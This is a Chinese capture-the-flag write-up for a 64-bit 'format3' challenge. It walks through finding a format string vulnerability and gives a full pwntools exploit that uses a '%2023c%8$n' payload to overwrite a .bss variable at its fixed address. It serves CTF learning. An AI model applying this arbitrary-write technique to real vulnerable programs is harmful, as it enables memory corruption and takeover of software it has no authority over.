题目
链接:https://pan.baidu.com/s/10SyKe0s9cyY6kiblH2fs8Q?pwd=trbj
提取码:trbj
开始
首先检查保护,发现是 64位程序,没开pie,开了canary和nx保护
接着放到IDA查看对应的c代码
漏洞是非常明显的,有格式化字符串漏洞,就是要改key的值为2023,但是发现key的值不在栈上,因此我们不能直接用输入%n来修改栈上的数据,而是要把key这个数据的地址放到栈中,然后进行修改。
查看一下key变量在哪
可以看到key变量在bss区,地址是0x60208c。那么我们的思路就是把bss段key的地址移至栈上,然后修改key的值
(那种在栈上找三连的方法是用来改got表的,应该也能做)
首先就是找参数写入的开始位置,打开gdb直接往里面写 8个a
发现8个a写入的位置(rdi)就是rsp的地址,那么我们就可以布置exp了
exp如下:
from pwn import *
elf = ELF('./format3')
io = process('./format3')
# gdb.attach(io)
context(os="linux", arch="amd64",log_level="debug")
from LibcSearcher import *
key_addr=0x60208C
io.recv()
payload=b'%2023c%8$n'+b'a'*6+p64(key_addr)
io.sendline(payload)
io.interactive()
先往第八个参数写入数据2023(因为我们将把key的地址放在第8个参数,rsp是第6个参数)
其中b'a'*6是垃圾数据,使key_addr能写入第八个参数